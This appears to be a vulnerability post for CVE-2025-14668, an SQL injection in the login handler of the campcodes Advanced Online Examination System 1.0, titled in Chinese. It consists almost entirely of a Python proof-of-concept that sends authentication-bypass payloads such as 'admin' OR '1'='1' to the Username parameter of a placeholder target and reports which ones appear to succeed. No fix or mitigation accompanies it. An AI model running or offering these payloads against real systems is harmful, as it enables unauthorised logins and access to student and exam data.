CVE-2025-14668 campcodes在线考试系统loginExe.php SQL注入漏洞

import requests # CVE-2025-14668 SQL Injection PoC # Target: campcodes Advanced Online Examination System 1.0 # File: /query/loginExe.php # Parameter: Username target_url = "http://target-site.com/query/loginExe.php" # Basic authentication bypass using SQL injection payloads = [ "admin' OR '1'='1", "admin' UNION SELECT NULL--", "admin' OR 1=1-- -", "' OR '1'='1' --", ] for payload in payloads: data = { 'Username': payload, 'Password': 'any' } try: response = requests.post(target_url, data=data, timeout=10) if 'success' in response.text.lower() or response.status_code == 200: print(f"[+] Potential vulnerability with payload: {payload}") print(f"[+] Response: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")